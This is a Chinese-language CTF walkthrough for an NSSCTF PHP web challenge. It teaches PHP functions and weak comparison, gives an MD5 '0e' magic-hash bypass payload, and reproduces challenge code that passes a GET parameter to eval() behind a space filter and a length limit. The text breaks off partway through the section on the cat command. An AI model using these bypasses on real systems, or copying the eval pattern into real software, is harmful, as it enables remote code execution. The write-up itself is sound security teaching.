CTF 全讲解:[SWPUCTF 2022 新生赛]webdog1__start
文章目录
- 参考
- 环境
- 题目
- learning.php
- 信息收集
- isset()
- GET 请求
- 查询字符串
- 全局变量 $_GET
- MD5 绕过
- MD5
- 韧性
- 脆弱性
- md5()
- 弱比较
- 隐式类型转换
- 字符串连接
- 数学运算
- 布尔判断
- 相等运算符
- MD5 绕过
- 科学计数法
- 前缀 0E 与 0e
- 绕过
- start.php
- 信息收集
- 头部检索
- f14g.php
- 信息收集
- 探秘 F1l1l1l1l1lag.php
- error_reporting()
- 错误报告级别
- 影响范围
- highlight_file()
- \_\_FILE__
- 函数 highlight_file()
- strstr()
- str_ireplace()
- strlen()
- die()
- 参数
- 退出状态码
- status
- eval()
- 三个判断语句
- 第一个判断语句
- 第二个判断语句
- 第三个判断语句
- 绕过 F1l1l1l1l1lag.php
- system()
- Linux 命令
- ls
- 常用选项
- 列举范围
- cat
- URL 字符编码
- 将非 ASCII 字符文本转换为 ASCII 字符文本
- 去除语义
- 将不可见字符(如空格)转换为可见文本
- 捉迷藏
- 破壁
- flag.php
- 嵌套 eval()
- /flag
- 其他绕过姿势
- 借力打力
- %09
参考
项目 | 描述 |
---|---|
NSSCTF | WriteUp |
搜索引擎 | Bing、Google |
AI 大模型 | 文心一言、通义千问、讯飞星火认知大模型、ChatGPT |
PHP 手册 | PHP Manual |
环境
项目 | 描述 |
---|---|
操作系统 | Kali Linux 2023.1 、Windows 10 专业版 |
PHP | 5.5.5 、7.0.0 、7.0.8 、8.2.6 |
题目
项目 | 描述 |
---|---|
得分项 | 信息收集 、MD5 绕过 、弱比较 、命令执行漏洞 、HTTP 请求方式 、嵌套 eval() 、Linux 命令 、URL 编码 、信息收集 、PHP 源码审计 、空格绕过 、限制长度 |
题目来源 | NSSCTF |
learning.php
信息收集
访问靶场首页,你将观察到如下内容:
尝试访问页面的源代码(快捷键 Ctrl-U
或 页面中右键点击查看源代码
)。该页面的源代码中存在一段 HTML 注释
,其中包裹着当前页面的 部分 PHP 代码
。
<!--
if (isset($_GET['web']))
{$first=$_GET['web'];if ($first==md5($first)) -->
isset()
在 PHP 中,isset()
接受 一个或多个
参数,其中的每个参数都是要需要进行检查的变量。isset() 函数将 逐个检查
这些变量,若其中存在 未被初始化
或 值为 NULL
的变量,则 isset() 函数将返回 false
。否则,该函数将返回 true
。
isset()
函数可以在使用变量之前先检查其是否已经被初始化或该变量的值是否为 NULL,从而 避免潜在的异常被抛出
。
举个栗子
<?phpprint("\n【One】\n");
// 未初始化的变量 $var。
$var;
// 未初始化的变量将被赋予默认值 NULL。
// 尝试使用未初始化的变量,PHP 可能抛出 Undefined variable 异常。
var_dump($var);
// 尝试通过 isset() 函数判断 $var 是否为一个
// 未初始化变量。
var_dump(isset($var));print("\n【Two】\n");
// 为 $var 进行初始化操作
$var = NULL;
// 若一个变量被显示赋予值 NULL,则在使用该变量时,
// PHP 将不会抛出 Undefined variable 异常。
var_dump($var);
// 尝试通过 isset() 函数判断 $var 的值是否为 NULL。
var_dump(isset($var));print("\n【Three】\n");
$a = $b = 1;
$c = NULL;
// 尝试通过 isset() 判断多个参数中是否存在符合要求的变量。
var_dump(isset($a, $b));
var_dump(isset($a, $c, $b));
执行效果
【One】Notice: Undefined variable: var in C:\test.php on line 8
NULL
bool(false)【Two】
NULL
bool(false)【Three】
bool(true)
bool(false)
PHP Notice: Undefined variable: var in C:\test.php on line 8
GET 请求
查询字符串
在 Web 开发中,查询字符串(Query String)
是指 URL
中位于 问号 ?
后的 部分
文本。查询字符串常用于客户端浏览器 通过 URL 传递数据给服务器
。
查询字符串由 一个或多个参数
组成,每个参数之间使用 & 符号
进行 分隔
。
举个栗子
https://example.com/index.php?ID=1&UserName=RedHeart#BinaryMoon
在上述 URL 中,查询字符串为 ID=1&UserName=RedHeart
,其中包含两个参数,即 ID=1
和 UserName=RedHeart
。这意味着,参数名为 ID
的参数对应的参数值为 1
,而参数名为 UserName
参数对应的参数值为 RedHeart
。
全局变量 $_GET
在 PHP 中,可以使用全局变量 $_GET
来获取由浏览器客户端提交的查询字符串中的 参数信息
。$_GET
是一个 关联数组
,其中的 键
为查询字符串中的参数名,值
为参数对应的值。
index.php 页面所包含的内容
<?php// 获取由查询字符串中的参数组成的关联数组
var_dump($_GET);// 通过向网页中输入一个 </br> HTML 标签来实现换行的效果
echo '</br>';// 获取查询字符串中参数名为 Name 的参数所对应的参数值
var_dump($_GET['Name']);
执行效果
在客户端浏览器访问 index.php
页面后,服务器端的输出结果。
array(2) { ["Name"]=> string(8) "RedHeart" ["Host"]=> string(10) "BinaryMoon" }
string(8) "RedHeart"
注:
尝试通过 $_GET
访问不存在的键将导致 Undefined array key
警告。因此,在使用 $_GET
访问某一个键前常需要通过 isset()
函数判断其是否存在。
MD5 绕过
MD5
MD5(Message Digest Algorithm 5)
是一种常用的哈希函数算法,用于将 任意长度
的数据转换为 固定长度
的哈希值。MD5
是 MD4
算法的改进版本,由 Ronald Rivest
在 1992
年设计并广泛使用。
MD5 算法的 输出结果
是一个 128
位,即长度为 16
字节的哈希值,通常表示为一个 32 位
的 十六进制数
。
韧性
-
不可逆性
MD5 是一种单向哈希函数
,具有不可逆性的特性。这意味着无法
通过已知的 MD5 哈希值
来准确地确定原始输入数据
。 -
雪崩效应
MD5 的雪崩效应是指对输入数据微小改变
会导致输出哈希值发生巨大变化
的特性。具体来说,即使输入数据只有一个比特位的改变,其计算得到的 MD5 哈希值也会产生全局性的变化
,而不仅仅在修改的位置上体现出差异。 -
唯一性
理想情况下
,对于不同的输入数据,MD5 算法生成的哈希值应该是唯一的。也就是说
,不同的输入数据应该产生不同的哈希值。 -
快速性
MD5 是一种快速计算哈希值的算法,适用于对大量数据进行哈希计算
的场景。
脆弱性
MD5 算法的 哈希输出空间
相对较小,仅有 128
位(仅能容纳 128 位二进制数据),而 输入空间是无限的
,这种 输入与输出的不匹配性
导致了哈希碰撞的 可能性
。攻击者可以使用 巧妙构造的输入数据
,通过精心选择的 碰撞攻击算法
,找到 具有相同哈希值的不同输入
。
-
碰撞攻击
由于 MD5 的设计特点
和算法结构
,使得攻击者能够使用巧妙构造的输入数据来找到碰撞。碰撞攻击的发现使得 MD5 不再适用于对数据完整性和身份验证进行可靠保护。 -
预计算攻击
由于 MD5 的计算速度较快
,攻击者可以预先计算常见输入数据的 MD5 哈希值并将其存储在哈希表中
。这样,在实际攻击过程中,攻击者可以通过将需要进行破解的哈希值与预先计算的哈希值进行比对
来实现对哈希值的快速破解。
md5()
在 PHP 中,md5()
函数用于计算给定字符串的 MD5 哈希值
,该函数采用一个字符串作为输入并返回其 对应的哈希值
。
md5(string $string, bool $binary = false): string
其中:
项目 | 描述 |
---|---|
$string | 要计算 MD5 哈希值的字符串。 |
$binary | 参数值为一个 布尔类型 的数据,用于指定返回的哈希值是 二进制格式 还是 十六进制格式 。默认为 false ,表示返回 十六进制格式 的哈希值,如果设置为 true ,则返回 二进制格式 的哈希值。 |
举个栗子
<?php// 尝试将字符串 Hello World 转换为 MD5 哈希值
var_dump(md5('Hello World'));// 尝试将字符串 12 转换为 MD5 哈希值
var_dump(md5('12'));// 当函数 md5() 的输入值为数值时将自动将非数值数据转换为数值数据
var_dump(md5(12));
执行效果
string(32) "b10a8db164e0754105b7a99be72e3fe5"
string(32) "c20ad4d76fe97759aa27a0c99bff6710"
string(32) "c20ad4d76fe97759aa27a0c99bff6710"
注:
md5
函数的 $binary
参数的值设置为 true
,此时若将转换结果输出至终端中将出现 乱码
的现象。这是因为 PHP 会 自动尝试
将 二进制数据
转换为 可以显示的文本信息
,由于 相同
的二进制数据在通过 不同
的解码方式下进行解码将被解释为不同的字符,这就存在了 乱码(使用错误的解码方式对二进制数据进行解码将导致结果存在偏差)
的可能。对此,请参考如下示例:
<?php// 尝试将哈希值以二进制方式输出至终端中
var_dump(md5('Hello World', true));// 尝试将哈希值的二进制表达转换为十六进制后输出至终端中
var_dump(bin2hex(md5('Hello World', true)));
执行效果
string(16) "�
��d�uA����.?�"
string(32) "b10a8db164e0754105b7a99be72e3fe5"
弱比较
隐式类型转换
在 PHP 中,隐式类型转换(Implicit Type Conversion)
是指在某些操作中,PHP 会 自动
将数据 由一种数据类型转换为另一个数据类型
,而 无需显式
地编写 类型转换
代码。
PHP 的隐式类型转换会按照一定规则(具体情况具体分析)对操作数进行转换,以使得相关操作 能够正常进行
下去。
字符串连接
在通过使用句点运算符 .
进行字符串连接操作时,PHP 将会尝试将其他数据类型 转换为字符串数据类型
。对此,请参考如下示例:
<?php// 尝试将两个字符串进行拼接
var_dump('Hello ' . 'World');// 尝试将数值与字符串进行拼接
var_dump('1 + 1 = ' . 2);// 尝试将两个数值进行拼接
var_dump(1 . 1);
执行效果
string(11) "Hello World"
string(9) "1 + 1 = 2"
string(2) "11"
数学运算
在通过 数学运算符
进行数学运算时,PHP 将会尝试将其他数据类型的数据 转换为数值类型
。对此,请参考如下示例:
<?php// 尝试对布尔值 true 与数值 1 进行减法运算
var_dump(true - 1);// 尝试对布尔值 true 与 false 进行加法运算
var_dump(true + false);// 尝试进行字符串之间的乘法运算
var_dump('2' * '150');// 字符串 100djdj 将被转换为 100
var_dump('100djdj' / 10);// 字符串 djdj100 将被转换为零
var_dump('djdj100' / 10);
执行效果
int(0)
int(1)
int(300)
int(10)
int(0)
布尔判断
在需要使用布尔值的位置,PHP 将尝试将非布尔值的数据 转换为布尔类型的数据
。对此,请参考如下示例:
<?php// 尝试将空字符串转换为布尔值
if(''){print('Hello World' . "\n");
}// 尝试将字符串 Hello World 转换为布尔值
if('Hello World'){print('Hello China' . "\n");
}// 尝试将数值 999 转换为布尔值
if(999){print('久久久' . "\n");
}
执行效果
Hello China
久久久
相等运算符
在 PHP 中存在两种相等运算符,即弱类型相等运算符 ==
和强类型相等运算符 ===
,两者都可以用于判断两个操作数是否相等,但存在一些区别。
两者的 区别
在于,弱类型相等运算符
在对操作数进行比较之前,将 自动
进行类型转换以 使两者所属的数据类型相同
。而 强类型相等运算符
在进行比较时,要求两个值的 类型
和 值
都必须 完全相同
,不进行类型转换
。对此,请参考如下示例:
<?php// 在通过弱类型比较运算符对数值与字符串进
// 行比较时,PHP 优先将字符串转换为数值。// 由于两者转换为同一类型后,值相同,
// 故将返回 true。
var_dump('123' == 123);// 由于两者的数据类型及值均不相同,故
// 将返沪 false。
var_dump('123' === 123);
执行效果
bool(true)
bool(false)
MD5 绕过
科学计数法
在 PHP 中,e
与 E
均表示 科学计数法(Scientific Notation)
。科学计数法由 基数
和 指数
两部分组成,常用于
表示非常大或非常小的数值。
在科学计数法中,基数 通常
是一个浮点数,介于 1
到 10
之间,而指数是一个整数,表示要将基数乘以 10
的多少次方。基数与指数之间以字符 e
或 E
进行分隔。
举个栗子
<?php// 3.78 * 10 ^ 3
var_dump(3.78e3);// 3 * 10 ^ -1
var_dump(3E-1);
执行效果
float(3780)
float(0.3)
前缀 0E 与 0e
零的任何指数次幂都为零
,因此以 0E
或 0e
为前缀的科学计数法表示的数值的结果都将为数值零。对此,请参考如下示例:
<?phpvar_dump(0e3280);
var_dump((float)'0e30284083');
var_dump((float)'0esjlfjsld');
执行效果
float(0)
float(0)
float(0)
绕过
存在部分字符串被 MD5 算法处理后将得到一个以 0e
或 0E
开头的字符串,通过 弱比较类型运算符
判断这类字符串与其他数值是否相等则可能导致潜在的安全漏洞。
再来看看 learning.php
页面源代码中的注释信息:
<!--
if (isset($_GET['web']))
{$first=$_GET['web'];if ($first==md5($first)) -->
由页面注释信息可知,我们需要向 learning.php
页面传递查询字符串参数 web
,该 参数的值需要和其自身的 MD5 处理值相同
。为执行判断语句中的内容(虽然不知道是什么),我们可以将一个以 0e
或 0E
开头且被 MD5 算法处理的结果也以 0e
或 0E
开头的文本作为参数 web
的值,而文本 0e215962017
恰好符合我们的要求。
于是构造查询字符串:
?web=0e215962017
在 URL 中拼接上述查询字符串后,将跳转至 start.php
页面。
start.php
信息收集
start.php
中未发现可攻击漏洞,在该页面中的源代码中也未发现相关提示。此时,我们可以观察 HTTP 数据包,头部字段中往往会有我们需要的内容。
头部检索
在浏览器中按下 f12
或通过其他方式打开浏览器提供的 开发者工具
,选择其中的 网络
分栏。
刷新网页。
选择其中的 start.php
。
在 HTTP 响应中,我们观察到了一个特殊的响应头部字段 Hint
,Hint
字段并未在 HTTP 规范中定义且 Hint
本身含有 提示
的含义。可以看出,这是设计者给出的提示。
于是构造如下路径,将其拼接至 当前页面 URL 的尾部
并尝试对其进行访问:
/f14g.php
f14g.php
信息收集
f14g.php
页面的响应内容为一段 HTML 文本,其中并未包含漏洞和相关的提示信息。
<html>
<img src='https://i0.hdslb.com/bfs/article/7627a3f08227d8374b62a9d5db70ea8366af9146.jpg@942w_915h_progressive.webp'>oh ! i can't believe you think flag really be here hhhh </style>
<body>
</body>
</html>
尝试通过开发者工具观察该页面的响应头部字段,得到如下结果:
响应头部字段中同样含有设计者提供的提示字段 Hint
,该字段的内容尝试引导我们访问 F1l1l1l1l1lag.php
页面。
探秘 F1l1l1l1l1lag.php
F1l1l1l1l1lag.php
页面通过 highlight_file()
函数高亮显示了该页面的 PHP 源代码,让我们对其逐一进行分析。
<?php
error_reporting(0);highlight_file(__FILE__);if (isset($_GET['get'])){$get=$_GET['get'];if(!strstr($get," ")){$get = str_ireplace("flag", " ", $get);if (strlen($get)>18){die("This is too long.");}else{eval($get);} }else {die("nonono"); }}?>
error_reporting()
在 PHP 中,error_reporting()
函数用于设置当前的 错误报告级别
。错误报告级别 决定
了哪些类型的错误和警告将 被 PHP 报告和显示
。
错误报告级别
error_reporting()
函数接受一个整数或 PHP 提供的错误报告级别常量作为参数,该参数表示要启用的错误报告级别。以下是一些 常用的 error_reporting() 参数
:
错误报告级别常量 | 值 | 作用 |
---|---|---|
-1 | 显示所有 错误。 | |
0 | 不显示任何 错误。 | |
E_ERROR | 1 | 仅显示 致命级别 的错误信息。 |
E_WARNING | 2 | 仅显示 警告级别 的错误信息。 |
E_PARSE | 4 | 仅显示 语法解析错误 。 |
E_NOTICE | 8 | 仅显示 注意级别 的错误信息。 |
E_CORE_ERROR | 16 | 仅显示 PHP 核心致命错误 。 |
E_CORE_WARNING | 32 | 仅显示 PHP 核心非致命错误 。 |
E_COMPILE_ERROR | 64 | 仅显示 编译时致命错误 。 |
E_COMPILE_WARNING | 128 | 仅显示 编译时非致命错误 。 |
E_USER_ERROR | 256 | 仅显示 用户自定义的致命错误 。 |
E_USER_WARNING | 512 | 仅显示 用户自定义的非致命错误 。 |
E_USER_NOTICE | 1024 | 仅显示 用户自定义的注意和提示信息 。 |
E_ALL | 32767 | 显示 所有错误信息 。 |
E_STRICT | 2048 | 仅显示 严格模式规范下 的错误信息。 |
E_RECOVERABLE_ERROR | 4096 | 仅显示 可恢复的致命错误 ,可以通过捕获错误进行处理。 |
E_DEPRECATED | 8192 | 仅显示 已弃用的功能和方法的警告 。 |
E_USER_DEPRECATED | 16384 | 仅显示 用户自定义的已弃用功能和方法的相关警告 。 |
这些 error_reporting()
函数的参数用以 控制 PHP 的错误报告行为
,每个参数对应不同的错误级别,可以 单独选择
某一参数设置 PHP 的错误报告行为,也可以通过 |
运算符 按需组合使用
。
举个栗子
<?php# 将 PHP 的错误报告级别设置为 0,
# 此时 PHP 将不会显示任何的错误信息。
error_reporting(0);# 将 PHP 的错误报告行为设置为 E_WARNING | E_NOTICE,
# PHP 将仅显示 PHP 运行过程中产生的 WARNING 与 NOTICE。
error_reporting(E_WARNING | E_NOTICE);// 在 PHP 中,访问未曾定义的变量将导致 Notice
print('Hello World');
print($a);// 在 PHP 中,缺少一个必须的参数将导致 Warning
urlencode();
执行效果
Hello World
Notice: Undefined variable: a in C:\test.php on line 6Warning: urlencode() expects exactly 1 parameter, 0 given in C:\test.php on line 9
PHP Notice: Undefined variable: a in C:\test.php on line 6
PHP Warning: urlencode() expects exactly 1 parameter, 0 given in C:\test.php on line 9
影响范围
error_reporting()
函数仅能够影响该函数所处位置的后续代码。对此,请参考如下示例:
<?php# 将 PHP 的错误报告级别设置为 0,
# 此时 PHP 将不会显示任何的错误信息。
error_reporting(0);// 在 PHP 中,访问未曾定义的变量将导致 Notice
print($a);// 在 PHP 中,缺少一个必须的参数将导致 Warning
urlencode();# 将 PHP 的错误报告行为设置为 E_WARNING,
# PHP 将仅显示 PHP 运行过程中产生的 WARNING。
error_reporting(E_WARNING);print($a);urlencode();
执行效果
Warning: urlencode() expects exactly 1 parameter, 0 given in C:\test.php on line 20
PHP Warning: urlencode() expects exactly 1 parameter, 0 given in C:\test.php on line 20
highlight_file()
__FILE__
在 PHP 中,__FILE__
是一个包含当前 正在执行的 PHP 文件
的 字符串形式的完整路径
的内置全局常量。
函数 highlight_file()
highlight_file()
函数是 PHP 提供的一个用于 PHP 代码高亮显示
的函数,使用该函数将能够获取到 指定文件中的内容
通过 HTML 标签
实现高亮显示的结果。
highlight_file(string $filename, bool $return = false): string|bool
其中:
项目 | 描述 |
---|---|
$filename | 欲高亮显示的文件的 路径 。 |
$return | 若该参数的值为 true ,则 highlight_file() 函数将返回文件高亮处理后的 HTML 文本 ,而不是将其 直接 输出。 |
举个栗子
<?php// 按照一定规则通过 HTML 标签高亮显示
// 指定 PHP 文件中的内容。
highlight_file(__FILE__);// 通过在网页中嵌入 HTML 标签 </br>
// 实现换行效果。
echo '</br>';var_dump('Hello World');
执行效果
执行 highlight_file(__FILE__);
后,PHP 会自动将全局变量 __FILE__
所指向的文件中的内容 高亮处理后得到的 HTML 文本进行输出
。尝试通过浏览器访问 __FILE__
所指向的文件将得到类似如下效果:
由 highlight_file()
高亮处理目标文件后得到的 HTML 文本如下:
<code><span style="color: #000000">
<br /></span><span style="color: #0000BB">var_dump</span><span style="color: #007700">(</span><span style="color: #DD0000">'Hello World'</span><span style="color: #007700">);</span>
</span>
</code>
注:
highlight_file()
函数 并不是仅能够
对 PHP 代码进行高亮处理,实际上,highlight_file()
函数将通过 PHP 内置的语法高亮器
按照一定的高亮规则对文件中 <?php
后与?>(可被省略)
前的内容进行高亮处理。对此,请参考如下示例:
<?php// 按照一定规则通过 HTML 标签高亮显示
// 指定 PHP 文件中的内容。
highlight_file('./calc.js');// 通过在网页中嵌入 HTML 标签 </br>
// 实现换行效果。
echo '</br>';var_dump('Hello World');
calc.js 文件中的内容
<?php
// 定义两个数字
var num1 = 5;
var num2 = 10;// 计算两个数字的和
var sum = num1 + num2;// 显示计算结果
console.log("两个数字的和为:" + sum);莫愁前路无知己,天下谁人不识君。?>foreach(str_split('Hello World') as $char){print($char . "\n");
}
执行效果
strstr()
strstr()
函数是 PHP 中用于在字符串中查找 子字符串
的函数,该函数返回在字符串中 第一次出现的子字符串
及 其后面的所有内容
。
strstr(string $haystack, string $needle, bool $before_needle = false): string|false
其中:
项目 | 描述 |
---|---|
$haystack | 字符串。 |
$needle | 被搜索的子字符串。 |
$before_neddle | 指定 是否 返回 子字符串之前 的内容,默认为 false 。如果将该参数的值设置为 true ,则返回 子字符串之前 的内容。如果该参数的值设置为 false ,则返回 子字符串及其之后的所有内容 。 |
举个栗子
<?php$space = 'I am a space!';
$string = 'Hello' . $space . 'World';// 返回子字符串及其之后的内容
var_dump(strstr($string, $space));
// 返回子字符串之前的内容
var_dump(strstr($string, $space, true));
执行效果
string(18) "I am a space!World"
string(5) "Hello"
注:
在 PHP 中,还有一个与 strstr()
函数类似的函数 stristr()
。stristr()
函数与 strstr()
函数的区别是,stristr()
函数不区分字符串与字符串的大小写格式,而 strstr()
函数则对此由严格的限制。对此,请参考如下示例:
<?php$space = 'I am a space!';
$small_space = 'i am a space!';
$string = 'Hello' . $space . 'World';// strstr() 函数区分字符串与子字符串中内容的大小写形式
var_dump(strstr($string, $small_space));
// stristr() 函数并不区分字符串与子字符串的大小写形式
var_dump(stristr($string, $small_space));
执行效果
bool(false)
string(18) "I am a space!World"
str_ireplace()
在 PHP 中,str_ireplace()
函数用于执行 不区分大小写(具有相同功能且区分大小写的 PHP 函数为 str_replace() )
的 替换操作
。该 PHP 函数将在 字符串
或 数组
中搜索指定的子字符串或子元素,并将其替换为另一个字符串或元素。取决于需要进行替换操作的数据的类型
,该函数将返回一个字符串或数组。
str_ireplace(array|string $search,array|string $replace,string|array $subject,int &$count = null
): string|array
其中:
项目 | 描述 |
---|---|
$search | 需要搜索和替换的字符串或数组。 |
$replace | 用于替换匹配项的字符串或数组。 |
$subject | 要在其中执行搜索和替换操作的字符串数组。 |
&$count(可选) | 请为该参数指定一个 变量 ,该变量的值将被设置为 替换发生的次数 。 |
举个栗子
<?php# 函数 str_ireplace() 的前三个参数的第二层作用即:
# 参数 $search 与 $replace 用以创建映射关系,
# 而 $subject 用以确定返回数据的类型。
$result = str_ireplace(array('Hello', ' ', 'World'), array(1, 2, 3), array('!!!', 'WorLd', ' ', 'HELLO'));
var_dump($result);$result = str_ireplace(array('Hello', ' ', 'World'), array(1, 2, 3), 'Hello World');
var_dump($result);$result = str_ireplace('BinaryMoon', 'China', 'Hello BinaryMoon');
var_dump($result);$result = str_ireplace(array('Hello', ' ', 'World'), 'China', 'Hello World');
var_dump($result);$result = str_ireplace(array('Hello', ' ', 'World'), 'China', array('Hello', ' ', 'World', '!!!'));
var_dump($result);print("\n" . '该类替换情形不被支持,为此 PHP 将抛出一个 Notice 异常。' . "\n");
$result = str_ireplace('Hello', array('Hello', ' ', 'World'), 'Hello World');
var_dump($result);print("\n" . 'Count 参数的作用' . "\n");
# 定义变量 count 用以记录某一次替换操作过程中发生的替换次数。
$count = '';
$result = str_ireplace(array('Hello', ' ', 'World'), array(1, 2, 3), 'Hello World !!!', $count);
var_dump($result);
var_dump($count);
执行效果
array(4) {[0]=>string(3) "!!!"[1]=>string(1) "3"[2]=>string(1) "2"[3]=>string(1) "1"
}
string(3) "123"
string(11) "Hello China"
string(15) "ChinaChinaChina"
array(4) {[0]=>string(5) "China"[1]=>string(5) "China"[2]=>string(5) "China"[3]=>string(3) "!!!"
}该类替换情形不被支持,为此 PHP 将抛出一个 Notice 异常。Notice: Array to string conversion in C:\test.php on line 22
string(11) "Array World"Count 参数的作用
string(7) "1232!!!"
int(4)
PHP Notice: Array to string conversion in C:\test.php on line 22
strlen()
strlen()
函数用以返回给定字符串所占用的字节数。对此,请参考如下示例:
<?php# 一个 ASCII 字符占用一个字节大小的存储空间。
$string = 'Hello World';
var_dump(strlen($string));# 一个通过 UTF-8 编码的中文字符大多占用三个字节。
$string = '你好 中国';
var_dump(strlen($string));
执行效果
int(11)
int(13)
die()
在 PHP 中,die()
函数常用于对脚本的主动结束。对此,请参考如下示例:
<?phpvar_dump('Hello China');
die();# 由于 die() 函数的执行导致脚本的结束,
# 故程序将不会输出 Hello World。
var_dump('Hello World');
执行效果
string(11) "Hello China"
参数
退出状态码
退出状态码(Exit Status Code)是在程序退出时返回给操作系统的一个 整数值
,退出状态码用于向操作系统提供关于程序退出状态的信息,通常表示程序的执行结果或发生的错误类型
。
退出状态码是一个约定俗成的机制,在不同的编程语言和操作系统中都存在。在大多数操作系统中,退出状态码为 0
表示程序成功执行并正常退出,非零值
则表示发生了某种错误或异常情况。具体的状态码含义可能因编程语言和操作系统而异,可以根据需要自定义状态码的含义。
一些常见的退出状态码约定如下:
- 0
程序成功执行并正常退出。 - 非零值
表示不同的错误类型或异常情况。具体的状态码解释取决于程序的设计和需求。
退出状态码在脚本或命令行程序中很有用,因为它 可以作为程序执行结果的指示,并可以被其他程序或脚本进行处理
。在脚本中,可以通过读取其他程序的退出状态码来根据不同的情况采取相应的操作。
status
die()
函数存在 参数 status
,该参数用于设置当前程序的退出状态码。依据参数 status 的值的 数据类型
,die() 函数将 存在不同表现
。
项目 | 退出状态码 | 输出 |
---|---|---|
数值 | 数值本身(可为 负数 ) | 无输出 |
字符串 | 0 | 参数值将被输出至终端或页面中。 |
其他类型(包括布尔类型) | 0 | 参数值首先将被转换为字符串,转换结果将输出至终端或页面中。 |
举个栗子
<?phpdie(true);
执行效果
上述脚本执行后将向终端或页面输出 1
并将退出状态码设置为 0
。
1
eval()
eval()
函数是 PHP 中的一个函数,该函数用于执行 包含 PHP 代码的字符串
,并将其作为 PHP 脚本运行。eval()
函数的特性使得你可以 在程序运行时动态生成和执行 PHP 代码
。尽可能不要使用 eval()
函数,因为该函数容易引入一些潜在的安全风险。
举个栗子
<?php$content = 'Hello World';# 传递给 eval() 函数的字符串代码被执行时,
# 所处的作用域与 eval() 函数所处的作用域一致。function func(){$content = 'Hello China';# 传递给 eval() 函数的参数需要是一段有效的# PHP 脚本(注意末尾的分号)。eval('var_dump($content);');
}func();eval('var_dump($content);');
执行效果
string(11) "Hello China"
string(11) "Hello World"
三个判断语句
回顾一下 F1l1l1l1l1lag.php
页面的源代码。
<?php
error_reporting(0);highlight_file(__FILE__);if (isset($_GET['get'])){$get=$_GET['get'];if(!strstr($get," ")){$get = str_ireplace("flag", " ", $get);if (strlen($get)>18){die("This is too long.");}else{eval($get);} }else {die("nonono"); }}?>
F1l1l1l1l1lag.php
页面源代码中较为关键的是 三个 if 判断语句
,这是我们绕过该页面安全措施的关键。
第一个判断语句
F1l1l1l1l1lag.php
页面的第一个判断语句尝试判断客户端浏览器在访问本页面时是否正确传递 get
查询字符串参数。若有,则将 get
查询字符串参数的值传递给 变量 get
。
if (isset($_GET['get'])){$get=$_GET['get'];
}
第二个判断语句
F1l1l1l1l1lag.php
页面的第二个判断语句尝试判断 get
变量的值中是否存在 空格
。若存在,则立即终止程序并向终端或页面输出 nonono
。若不存在,则将 get
变量中的 flag
子文本(不区分大小写)替换为包含单个空格的字符串。
if(!strstr($get," ")){$get = str_ireplace("flag", " ", $get);}else {die("nonono"); }
第三个判断语句
F1l1l1l1l1lag.php
页面的第三个判断语句尝试判断 get
变量的值所占据的内存空间是否大于 18 字节
。若是,则终止程序并向终端或页面输出 This is too long.
。若不是,则通过 eval()
函数将 get
变量中值作为 PHP 代码进行执行。
if (strlen($get)>18){die("This is too long.");}else{eval($get);}
绕过 F1l1l1l1l1lag.php
system()
PHP 提供的 system()
函数允许您使用 命令行工具
,并将命令的执行结果输出至页面或终端中。
function system( string $command, &$result_code
): false|string
其中:
项目 | 描述 |
---|---|
command | 该参数用以指定需要执行的命令。 |
&$result_code | 该参数接受一个变量,在命令执行完毕后该变量将被设置为命令执行的 状态码 (该状态码的功能与退出状态码的功能类似)。 |
system()
函数的返回值为命令执行过程中输出至终端或页面的 最后一行内容
。
举个栗子
<?php# 临时将终端的编解码方式设置为 UTF-8,
# 防止输出内容乱码显示。
system('chcp 65001');$result_code = '';
$last_line = system('ping localhost', $result_code);
var_dump($last_line);
var_dump($result_code);
执行效果
system()
函数将 阻塞
PHP 脚本,直至 命令执行完毕
。也正因如此,上述示例中的 末两行代码
才能输出我们希望的内容。
Active code page: 65001Pinging TwoMoons [::1] with 32 bytes of data:
Reply from ::1: time<1ms
Reply from ::1: time<1ms
Reply from ::1: time<1ms
Reply from ::1: time<1ms Ping statistics for ::1:Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:Minimum = 0ms, Maximum = 0ms, Average = 0ms
string(47) " Minimum = 0ms, Maximum = 0ms, Average = 0ms"
int(0)
Linux 命令
ls
ls
命令是 Linux
及其他 类 Unix
操作系统中的一个常用命令,用于 列举某个目录下的子目录与文件
。
常用选项
在使用 ls
命令时可以携带一些选项,这些选项能够对列举操作进行更为精细的选择。
选项 | 描述 |
---|---|
-a | 列举所有文件和目录,包括以在 Linux 系统中以点 . 开头的隐藏文件。 |
-l | 以长格式列出文件和目录的 详细信息 ,包括文件类型、权限、所有者、组、大小、修改日期等。 |
-h | 使用 多种 数据存储单位而不是 仅使用 字节单位显示文件或目录大小。 |
-t | 按 修改时间 降序排列文件和目录,最近修改的文件将位于输出结果的上部分。 |
-r | 在原排序结果的基础上进行 反向排序 ,可以和其他排序选项(如 -t )一同生效。 |
-F | 在文件和目录的名称后面添加 标志 以表示它们的类型,例如,以 / 结尾的名称表示目录,以 * 结尾的名称表示可执行文件。 |
-R | 递归列举 文件及目录。 |
-S | 按 文件大小 降序排列,最大的文件显示在顶部。 |
-d | 仅列举目录 的相关信息,而不显示目录中的文件。 |
-i | 显示文件的 inode 编号(inode 编号在 Linux 中用于唯一标识文件) 。 |
-1 | 以 单列方式 显示文件和目录,每行一个条目,适用于脚本处理。 |
这些选项可以单独使用,也可以组合在一起,以满足不同的需求。例如,可以使用 ls -lta
来以长格式、按时间降序列出所有文件(包括隐藏文件)和目录。如需查看 ls
命令的完整选项列表和详细信息,请在 Linux 终端运行 man ls
命令。
列举范围
在默认情况下,执行 ls
命令将仅列举 当前工作目录
下的所有文件及目录。
例如,当我在 /
目录下执行命令 ls
时,Linux 将输出 /
目录下的所有文件及目录。
┌──(root㉿MyComputer)-[/]
└─# ls
bin dev home initrd.img.old lib32 libx32 media opt root sbin sys usr vmlinuz
boot etc initrd.img lib lib64 lost+found mnt proc run srv tmp var vmlinuz.old
当然,你也可以通过在 ls
命令的后面指定需要进行列举操作的文件夹来限制列举范围。
例如,当我在 /
目录下执行命令 ls /home
时,Linux 将输出 /home
目录下的所有文件及目录。
┌──(root㉿Black-Overcoat)-[/]
└─# ls /home
MyName
cat
cat
是 Linux
系统中一个常用的命令行工具,用于查看、合并和创建文本文件。
-
查看文件内容
cat
命令最常见的用法查看文本文件的内容。例如,查看一个名为file.txt
的文件,可以运行以下命令:cat file.txt
在默认情况下,
cat
命令会将获取到的内容输出至终端中。 -
将获取到的内容输出至文件中
使用cat
命令可以获取某一文件中的内容,搭配输出重定向符号 >
或追加重定向符号 >>
则可以将获取到的文件内容重定向输出至其他文件文件中。
举个栗子
I. 获取file.txt
